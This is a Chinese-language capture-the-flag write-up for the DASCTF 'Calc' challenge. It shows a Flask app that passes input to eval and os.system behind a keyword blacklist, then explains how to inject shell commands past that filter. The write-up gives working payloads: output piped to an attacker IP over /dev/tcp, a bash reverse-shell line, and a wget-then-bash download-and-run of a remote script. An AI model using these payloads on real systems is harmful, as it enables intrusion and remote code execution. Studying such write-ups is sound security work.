2022DASCTF X SU 三月春季挑戰賽 Calc
阿新 • • 發佈:2022-03-31
------------恢復內容開始------------
檢視程式碼
#coding=utf-8 from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory import random from urllib import parse import os from werkzeug.utils import secure_filename import time app=Flask(__name__) def waf(s): blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__'] flag = True for no in blacklist: if no.lower() in s.lower(): flag= False print(no) break return flag num=1#`ls` @app.route("/") def index(): "歡迎來到SUctf2022" return render_template("index.html") @app.route("/calc",methods=['GET']) def calc(): ip = request.remote_addr num = request.values.get("num") log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num) if waf(num): try: data = eval(num) os.system(log) except: pass return str(data) else: return "waf!!" if __name__ == "__main__": app.run(host='0.0.0.0',port=5000)
首先放出原始碼
然後觀察可以知道,對num的過濾極其嚴格,所以突破口並不在num上,自然而然想到突破口應該是log
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
程式會將num插入到log字串的最後然後先後執行 eval(num)和os.system(log)。
我們要想辦法在第二個函式上執行但是要避免在eval函式中報錯以導致程式不會進行下一步。基於python特性想到了用#註釋。
然後就可以使用`程式碼`來優先執行,其實$()有相同作用但是被過濾了。
接下來有多種方法我挨個嘗試。
1 輸出重定向到攻擊機
payload:calc?num=1%23`ls%09>/dev/tcp/IP/2333`
直接將輸出重定向到攻擊機 因為空格被過濾所以用製表符
然後直接開啟這個檔案即可
2 命令列反彈
因為&被過濾不能直接用
bash -i >& /dev/tcp/IP/2333 0>&1
所以現在本地用python寫一個檔案,然後開啟伺服器
讓目標機讀取本機上的檔案並執行即可。(哦別忘了在雲伺服器上安全組開啟埠)
ok 這就結束了
payload:
calc?num=1%23`wget%09http://Ip/log.sh`
calc?num=1%23`bash%09log.sh`
第二種方法結束。
還有其他避開eval報錯得到方法還可以去學習